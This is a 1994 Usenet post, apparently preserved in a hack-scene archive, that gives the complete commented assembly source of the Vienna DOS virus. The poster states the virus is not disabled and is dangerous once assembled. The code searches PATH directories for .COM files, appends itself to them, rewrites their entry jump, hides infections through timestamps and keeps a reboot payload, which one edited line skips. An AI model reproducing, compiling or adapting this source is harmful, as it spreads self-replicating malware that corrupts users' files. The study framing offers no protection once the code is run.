home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VIENNA.ZIP / VIENNA.ASM
Assembly Source File  |  1994-12-31  |  27KB  |  701 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!newsxfer.itd.umich.edu!nntp.cs.ubc.ca!unixg.ubc.ca!tomaino Sat Dec 31 02:19:57 1994
  2. Xref: netcom.com alt.comp.virus:809
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!newsxfer.itd.umich.edu!nntp.cs.ubc.ca!unixg.ubc.ca!tomaino
  4. From: tomaino@unixg.ubc.ca (Michael Tomaino)
  5. Newsgroups: alt.comp.virus
  6. Subject: Vienna Source Code
  7. Date: 31 Dec 1994 05:09:11 GMT
  8. Organization: University of British Columbia, Vancouver, B.C., Canada
  9. Lines: 686
  10. Message-ID: <3e2p1n$r64@nnrp.ucs.ubc.ca>
  11. NNTP-Posting-Host: interchg.ubc.ca
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14.   As promised to many, here is the source code for the vienna virus. 
  15. Please be aware that this virus has not been disabled in any way, and it 
  16. will be dangerous if it is compiled to an executable. 
  17.  
  18. -----Begin-Cutting-Here!-----------------------------------------------
  19. ;*****************************************************************************
  20. ;
  21. ;         *** NOT FOR GENERAL DISTRIBUTION ***     The Vienna Virus
  22. ;
  23. ; This file is for the purpose of virus study only! It should not be passed
  24. ;  around among the general public. It will be very useful for learning
  25. ;  how viruses work and propagate. But anybody with access to an assembler
  26. ;  can turn it into a working virus and anybody with a bit of assembly coding
  27. ;  experience can turn it into a far more malevolent program than it already
  28. ;  is. Keep this code in responsible hands!
  29. ;
  30. ; This program does not check wether or not the .COM file to be infected is
  31. ;  really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
  32. ;  file extension, but does a double-check by looking for a signature that
  33. ;  indicates wether or not a file REALLY is an .EXE file. The virus writer 
  34. ;  apparently did not know this. This virus will take any .EXE file that's 
  35. ;  been renamed to a .COM file and try to infect it, obscuring the signature 
  36. ;  that marks it as an .EXE file. When the infected file is then run, the
  37. ;  virus code will run first, and then the machine will try to run the .EXE
  38. ;  header data as though it were code. This is likely to crash the machine, and
  39. ;  since some later versions of DOS itself contain such misnamed .EXE files,
  40. ;  it's likely to happen.
  41. ;
  42. ;******************************************************************************
  43.  
  44. ;******************************************************************************
  45. ;It seems that MASM won't always willingly translate ordinary assembly code
  46. ; into the byte-for-byte replacement of the code in the Vienna Virus. Since
  47. ; MASM is just a 2 pass assembler, it doesn't always have enough information to
  48. ; figure out the size of an instruction when it needs to. To be safe, it makes
  49. ; its guess on the high side and then adds in unrequested NOPS if it needs to
  50. ; pad out the space it allocated. Many of the NOPs in this virus are the result
  51. ; of this. But the virus writer seems to have done a bit of hand modification
  52. ; to the virus, and as a result, one instance where we'd expect a NOP, there
  53. ; isn't one. This macro allows us to mimic that instance, where an ordinary
  54. ; MOV CX,xx would otherwise have worked fine.
  55. ;******************************************************************************
  56.  
  57. MOV_CX  MACRO   X
  58.         DB      0B9H
  59.         DW      X
  60. ENDM
  61.  
  62.  
  63. CODE    SEGMENT
  64.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  65.         ORG     $+0100H
  66.  
  67. ;*****************************************************************************
  68. ;Start out with a JMP around the remains of the original .COM file, into the
  69. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  70. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  71. ;*****************************************************************************
  72.  
  73. VCODE:  JMP     virus
  74.  
  75.  
  76. ;This was the rest  of the original .COM file. Tiny and simple, this time
  77.  
  78.         NOP
  79.         NOP
  80.         NOP
  81.         NOP
  82.         NOP
  83.         NOP
  84.         NOP
  85.         NOP
  86.         NOP
  87.         NOP
  88.         NOP
  89.         NOP
  90.         NOP
  91.         NOP
  92.         NOP
  93.  
  94.  
  95. ;************************************************************
  96. ;              The actual virus starts here
  97. ;************************************************************
  98.  
  99. v_start equ     $
  100.  
  101.  
  102. virus:  PUSH    CX
  103.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  104.                                         ; The 2nd and 3rd bytes get modified.
  105.         CLD                             ;Pointers will be auto INcremented
  106.         MOV     SI,DX                   ;Access data as offset from SI
  107.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  108.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  109.         MOV     CX,3
  110.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  111.         MOV     SI,DX                   ;Keep SI pointing to the data area
  112.  
  113. ;*************************************************************
  114. ;                   Check the DOS version
  115. ;*************************************************************
  116.  
  117.         MOV     AH,30H
  118.         INT     21H
  119.  
  120.         CMP     AL,0                    ;0 means it's version 1.X
  121.  
  122.         JNZ     dos_ok                  ;For version 2.0 or greater
  123.         JMP     quit                    ;Don't try to infect version 1.X
  124.  
  125.  
  126. ;*************************************************************
  127. ;  Here if the DOS version is high enough for this to work
  128. ;*************************************************************
  129.  
  130. dos_ok: PUSH    ES
  131.  
  132.  
  133. ;*************************************************************
  134. ;               Get DTA address into ES:BX
  135. ;*************************************************************
  136.  
  137.         MOV     AH,2FH
  138.         INT     21H
  139.  
  140. ;*************************************************************
  141. ;                    Save the DTA address
  142. ;*************************************************************
  143.  
  144.  
  145.         MOV     [SI+old_dta],BX
  146.         MOV     [SI+old_dts],ES         ;Save the DTA address
  147.  
  148.         POP     ES
  149.  
  150. ;*************************************************************
  151. ;        Set DTA to point inside the virus data area
  152. ;*************************************************************
  153.  
  154.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  155. ;       NOP                             ;MASM will add this NOP here
  156.         ADD     DX,SI                   ;Compute DTA address
  157.         MOV     AH,1AH
  158.         INT     21H                     ;Set new DTA to inside our own code
  159.  
  160.  
  161.         PUSH    ES
  162.         PUSH    SI
  163.         MOV     ES,DS:2CH
  164.         MOV     DI,0                    ;ES:DI points to environment
  165.  
  166. ;************************************************************
  167. ;        Find the "PATH=" string in the environment
  168. ;************************************************************
  169.  
  170. find_path:
  171.         POP     SI
  172.         PUSH    SI                      ;Get SI back
  173.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  174.         LODSB
  175.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  176.         REPNZ   SCASB                   ;Search for first character
  177.         MOV     CX,4
  178.  
  179. ;************************************************************
  180. ;       Loop to check for the next four characters
  181. ;************************************************************
  182.  
  183. check_next_4:
  184.         LODSB
  185.         SCASB
  186.         JNZ     find_path               ;If not all there, abort & start over
  187.         LOOP    check_next_4            ;Loop to check the next character
  188.  
  189.         POP     SI
  190.         POP     ES
  191.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  192.         MOV     DI,SI
  193.         ADD     DI,wrk_spc              ;File name workspace
  194.         MOV     BX,SI                   ;Save a copy of SI
  195.         ADD     SI,wrk_spc              ;Point SI to workspace
  196.         MOV     DI,SI                   ;Point DI to workspace
  197.         JMP     SHORT   slash_ok
  198.  
  199.  
  200. ;**********************************************************
  201. ;     Look in the PATH for more subdirectories, if any
  202. ;**********************************************************
  203.  
  204. set_subdir:
  205.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  206.         JNZ     found_subdir            ;If not, there are more subdirectories
  207.         JMP     all_done                ;Else, we're all done
  208.  
  209.  
  210. ;**********************************************************
  211. ;    Here if there are more subdirectories in the path
  212. ;**********************************************************
  213.  
  214. found_subdir:
  215.         PUSH    DS
  216.         PUSH    SI
  217.         MOV     DS,ES:2CH               ;DS points to environment segment
  218.         MOV     DI,SI
  219.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  220.         ADD     DI,wrk_spc              ;DI points to file name workspace
  221.  
  222.  
  223. ;***********************************************************
  224. ;      Move subdirectory name into file name workspace
  225. ;***********************************************************
  226.  
  227. move_subdir:
  228.         LODSB                           ;Get character
  229.         CMP     AL,';'                  ;Is it a ';' delimiter?
  230.         JZ      moved_one               ;Yes, found another subdirectory
  231.         CMP     AL,0                    ;End of PATH string?
  232.         JZ      moved_last_one          ;Yes
  233.         STOSB                           ;Save PATH marker into [DI]
  234.         JMP     SHORT   move_subdir
  235.  
  236. ;******************************************************************
  237. ; Mark the fact that we're looking through the final subdirectory
  238. ;******************************************************************
  239.  
  240. moved_last_one:
  241.         MOV     SI,0
  242.  
  243.  
  244. ;******************************************************************
  245. ;              Here after we've moved a subdirectory
  246. ;******************************************************************
  247.  
  248. moved_one:
  249.         POP     BX                      ;Pointer to virus data area
  250.         POP     DS                      ;Restore DS
  251.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  252.         NOP
  253.  
  254. ;******************************************************************
  255. ;             Make sure subdirectory ends in a "\"
  256. ;******************************************************************
  257.  
  258.         CMP     CH,'\'                  ;Ends with "\"?
  259.         JZ      slash_ok                ;If yes
  260.         MOV     AL,'\'                  ;Add one, if not
  261.         STOSB
  262.  
  263.  
  264. ;******************************************************************
  265. ;     Here after we know there's a backslash at end of subdir
  266. ;******************************************************************
  267.  
  268. slash_ok:
  269.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  270.         MOV     SI,BX                   ;Restore SI
  271.         ADD     SI,f_spec               ;Point to "*.COM"
  272.         MOV     CX,6
  273.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  274.  
  275.         MOV     SI,BX
  276.  
  277.  
  278. ;*******************************************************************
  279. ;                 Find first string matching *.COM
  280. ;*******************************************************************
  281.  
  282.         MOV     AH,4EH
  283.         MOV     DX,wrk_spc
  284. ;       NOP                             ;MASM will add this NOP here
  285.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  286.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  287.         INT     21H
  288.  
  289.         JMP     SHORT   find_first
  290.  
  291.  
  292. ;*******************************************************************
  293. ;              Find next ASCIIZ string matching *.COM
  294. ;*******************************************************************
  295.  
  296. find_next:
  297.         MOV     AH,4FH
  298.         INT     21H
  299.  
  300. find_first:
  301.         JNB     found_file              ;Jump if we found it
  302.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  303.  
  304. ;*******************************************************************
  305. ;                      Here when we find a file
  306. ;*******************************************************************
  307.  
  308. found_file:
  309.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  310.         AND     AL,1FH                  ;Mask to remove all but seconds
  311.         CMP     AL,1FH                  ;62 seconds -> already infected
  312.         JZ      find_next               ;If so, go find another file
  313.  
  314.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  315.         JA      find_next               ;If too long, find another one
  316.  
  317.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  318.         JB      find_next               ;Then go find another one
  319.  
  320.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  321.         PUSH    SI                      ;Save SI
  322.         ADD     SI,dta_nam              ;Point SI to file name
  323.  
  324. ;********************************************************************
  325. ;                Move the name to the end of the path
  326. ;********************************************************************
  327.  
  328. more_chars:
  329.         LODSB
  330.         STOSB
  331.         CMP     AL,0
  332.         JNZ     more_chars              ;Move characters until we find a 00
  333.  
  334.  
  335. ;********************************************************************
  336. ;                        Get File Attributes
  337. ;********************************************************************
  338.  
  339.         POP     SI
  340.         MOV     AX,OFFSET 4300H
  341.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  342. ;       NOP                             ;MASM will add this NOP here
  343.         ADD     DX,SI
  344.         INT     21H
  345.  
  346.  
  347.         MOV     [SI+old_att],CX         ;Save the old attributes
  348.  
  349.  
  350. ;********************************************************************
  351. ;         Rewrite the attributes to allow writing to the file
  352. ;********************************************************************
  353.  
  354.         MOV     AX,OFFSET 4301H         ;Set attributes
  355.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  356.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  357. ;       NOP                             ;MASM will add this NOP here
  358.         ADD     DX,SI                   ;Point to \path\name
  359.         INT     21H
  360.  
  361. ;********************************************************************
  362. ;                Open Read/Write channel to the file
  363. ;********************************************************************
  364.  
  365.         MOV     AX,OFFSET 3D02H         ;Read/Write
  366.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  367. ;       NOP                             ;MASM will add this NOP here
  368.         ADD     DX,SI                   ;Point to \path\name
  369.         INT     21H
  370.  
  371.         JNB     opened_ok               ;If file was opened OK
  372.         JMP     fix_attr                ;If it failed, restore the attributes
  373.  
  374.  
  375. ;*******************************************************************
  376. ;                        Get the file date & time
  377. ;*******************************************************************
  378.  
  379. opened_ok:
  380.         MOV     BX,AX
  381.         MOV     AX,OFFSET 5700H
  382.         INT     21H
  383.  
  384.         MOV     [SI+old_tim],CX         ;Save file time
  385.         MOV     [SI+ol_date],DX         ;Save the date
  386.  
  387. ;*******************************************************************
  388. ;                        Get current system time
  389. ;*******************************************************************
  390.  
  391.         MOV     AH,2CH
  392.         INT     21H
  393.  
  394.  
  395.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  396.  
  397. ;*******************************************************************
  398. ; The following line is a change from the original virus. Originally
  399. ;  the following line would be JNZ seven_in_eight. This would ruin
  400. ;  about 1/8 of all .COM files infected, while the other 7/8 would
  401. ;  be left workable, but infected. For the purpose of studying a
  402. ;  live virus, the changed line is not so damaging.
  403. ;*******************************************************************
  404.         JMP     SHORT   seven_in_eight
  405.  
  406.  
  407. ;*******************************************************************
  408. ; The special "one in eight" infection. If the above line were in
  409. ;  its original form, this code would be run 1/8 of the time, and
  410. ;  rather than appending a copy of this virus to the .COM file, the
  411. ;  file would get 5 bytes of code that reboot the system when the
  412. ;  .COM file is run.
  413. ;*******************************************************************
  414.  
  415.  
  416.         MOV     AH,40H                  ;Write to file
  417.         MOV     CX,5                    ;Five bytes
  418.         MOV     DX,SI
  419.         ADD     DX,reboot               ;Offset of reboot code in data area
  420.         INT     21H
  421.  
  422.         JMP     SHORT   fix_time_stamp
  423.  
  424.         NOP
  425.  
  426.  
  427. ;******************************************************************
  428. ;      Here's where we infect a .COM file with this virus
  429. ;******************************************************************
  430.  
  431. seven_in_eight:
  432.         MOV     AH,3FH
  433.         MOV     CX,3
  434.         MOV     DX,first_3
  435. ;       NOP                     ;MASM will add this NOP here
  436.         ADD     DX,SI
  437.         INT     21H             ;Save first 3 bytes into the data area
  438.  
  439.         JB      fix_time_stamp  ;Quit, if read failed
  440.  
  441.         CMP     AX,3            ;Were we able to read all 3 bytes?
  442.         JNZ     fix_time_stamp  ;Quit, if not
  443.  
  444.  
  445. ;******************************************************************
  446. ;              Move file pointer to end of file
  447. ;******************************************************************
  448.  
  449.         MOV     AX,OFFSET 4202H
  450.         MOV     CX,0
  451.         MOV     DX,0
  452.         INT     21H
  453.  
  454.         JB      fix_time_stamp  ;Quit, if it didn't work
  455.  
  456.         MOV     CX,AX           ;DX:AX (long int) = file size
  457.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  458.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  459.  
  460.         ADD     CX,OFFSET c_len_y
  461.         MOV     DI,SI           ;Point DI to virus data area
  462.         SUB     DI,OFFSET c_len_x
  463.                                 ;Point DI to reference vir_dat, at start of pgm
  464.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  465.  
  466.  
  467. ;*******************************************************************
  468. ;                    Write virus code to file
  469. ;*******************************************************************
  470.  
  471.         MOV     AH,40H
  472.  
  473.         MOV_CX  virlen                  ;Length of virus, in bytes
  474.  
  475.         MOV     DX,SI
  476.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  477.                                         ; address of virus code in memory
  478.         INT     21H
  479.  
  480.         JB      fix_time_stamp          ;Jump if error
  481.  
  482.         CMP     AX,OFFSET virlen        ;All bytes written?
  483.         JNZ     fix_time_stamp          ;Jump if error
  484.  
  485.  
  486. ;**********************************************************************
  487. ;                Move file pointer to beginning of the file
  488. ;**********************************************************************
  489.  
  490.         MOV     AX,OFFSET 4200H
  491.         MOV     CX,0
  492.         MOV     DX,0
  493.         INT     21H
  494.  
  495.         JB      fix_time_stamp          ;Jump if error
  496.  
  497.  
  498. ;**********************************************************************
  499. ;              Write the 3 byte JMP at the start of the file
  500. ;**********************************************************************
  501.  
  502.         MOV     AH,40H
  503.         MOV     CX,3
  504.         MOV     DX,SI                   ;Virus data area
  505.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  506.         INT     21H
  507.  
  508.  
  509. ;**********************************************************************
  510. ;       Restore old file date & time, with seconds modified to 62
  511. ;**********************************************************************
  512.  
  513. fix_time_stamp:
  514.         MOV     DX,[SI+ol_date]         ;Old file date
  515.         MOV     CX,[SI+old_tim]         ;Old file time
  516.         AND     CX,OFFSET 0FFE0H
  517.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  518.         MOV     AX,OFFSET 5701H
  519.         INT     21H
  520.  
  521.  
  522. ;**********************************************************************
  523. ;                              Close File
  524. ;**********************************************************************
  525.  
  526.         MOV     AH,3EH
  527.         INT     21H
  528.  
  529.  
  530. ;**********************************************************************
  531. ;                     Restore Old File Attributes
  532. ;**********************************************************************
  533.  
  534. fix_attr:
  535.         MOV     AX,OFFSET 4301H
  536.         MOV     CX,[SI+old_att]         ;Old Attributes
  537.         MOV     DX,wrk_spc
  538. ;       NOP                             ;MASM will add this NOP
  539.         ADD     DX,SI                   ;DX points to \path\name in workspace
  540.         INT     21H
  541.  
  542.  
  543. ;**********************************************************************
  544. ;              Here when it's time to close it up & end
  545. ;**********************************************************************
  546.  
  547. all_done:
  548.         PUSH    DS
  549.  
  550.  
  551. ;**********************************************************************
  552. ;                         Restore old DTA
  553. ;**********************************************************************
  554.  
  555.         MOV     AH,1AH
  556.         MOV     DX,[SI+old_dta]
  557.         MOV     DS,[SI+old_dts]
  558.         INT     21H
  559.  
  560.         POP     DS
  561.  
  562.  
  563. ;*************************************************************************
  564. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  565. ;  in since the address in a real JMP 100 is an offset, and the offset
  566. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  567. ;  stack, we can RET to address 0100H just as though we JMPed there.
  568. ;**********************************************************************
  569.  
  570. quit:
  571.         POP     CX
  572.         XOR     AX,AX
  573.         XOR     BX,BX
  574.         XOR     DX,DX
  575.         XOR     SI,SI
  576.         MOV     DI,OFFSET 0100H
  577.         PUSH    DI
  578.         XOR     DI,DI
  579.  
  580.         RET     0FFFFH
  581.  
  582. ;************************************************************************
  583. ;The virus data starts here. It's accessed off the SI register, per the
  584. ; comments as shown
  585. ;************************************************************************
  586.  
  587. vir_dat EQU     $
  588.  
  589.  
  590.         ;Use this with (SI + old_dta)
  591. olddta_ DW      0                       ;Old DTA offset
  592.  
  593.         ;Use this with (SI + old_dts)
  594. olddts_ DW      0                       ;Old DTA segment
  595.  
  596.         ;Use this with (SI + old_tim)
  597. oldtim_ DW      0                       ;Old Time
  598.  
  599.         ;Use this with (SI + ol_date)
  600. oldate_ DW      0                       ;Old date
  601.  
  602.         ;Use this with (SI + old_att)
  603. oldatt_ DW      0                       ;Old file attributes
  604.  
  605.  
  606.  
  607. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  608.  
  609. first3_ EQU     $
  610.         INT     20H
  611.         NOP
  612.  
  613.  
  614.  
  615. ;Here's where the new JMP instruction is worked out
  616.  
  617.         ;Use this with (SI + jmp_op)
  618. jmpop_  DB      0E9H                    ;Start of JMP instruction
  619.  
  620.         ;Use this with (SI + jmp_dsp)
  621. jmpdsp_ DW      0                       ;The displacement part
  622.  
  623.  
  624.  
  625. ;This is the type of file  we're looking to infect. (SI + f_spec)
  626.  
  627. fspec_  DB      '*.COM',0
  628.  
  629.         ;Use this with (SI + path_ad)
  630. pathad_ DW      0                       ;Path address
  631.  
  632.         ;Use this with (SI + nam_ptr)
  633. namptr_ DW      0                       ;Pointer to start of file name
  634.  
  635.         ;Use this with (SI + env_str)
  636. envstr_ DB      'PATH='                 ;Find this in the environment
  637.  
  638.         ;File name workspace (SI + wrk_spc)
  639. wrkspc_ DB      40h dup (0)
  640.  
  641.         ;Use this with (SI + dta)
  642. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  643.  
  644.         ;Use this with (SI + dta_tim)
  645. dtatim_ DW      0,0                     ;Time stamp in DTA
  646.  
  647.         ;Use this with (SI + dta_len)
  648. dtalen_ DW      0,0                     ;File length in the DTA
  649.  
  650.         ;Use this with (SI + dta_nam)
  651. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  652.  
  653.         ;Use this with (SI + reboot)
  654. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  655.  
  656.  
  657. lst_byt EQU     $                       ;All lines that assemble into code are
  658.                                         ;  above this one
  659.  
  660.  
  661. ;*****************************************************************************
  662. ;The virus needs to know a few details about its own size and the size of its
  663. ; code portion. Let the assembler figure out these sizes automatically.
  664. ;*****************************************************************************
  665.  
  666. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  667. codelen =       vir_dat - v_start       ;Length of virus code, only
  668. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  669. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  670.  
  671.  
  672. ;*****************************************************************************
  673. ;Because this code is being appended to the end of an executable file, the
  674. ; exact address of its variables cannot be known. All are accessed as offsets
  675. ; from SI, which is represented as vir_dat in the below declarations.
  676. ;*****************************************************************************
  677.  
  678. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  679. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  680. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  681. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  682. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  683. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  684. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  685. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  686. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  687. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  688. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  689. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  690. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  691. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  692. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  693. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  694. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  695. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  696.  
  697.         CODE    ENDS
  698. END     VCODE
  699.  
  700.  
  701.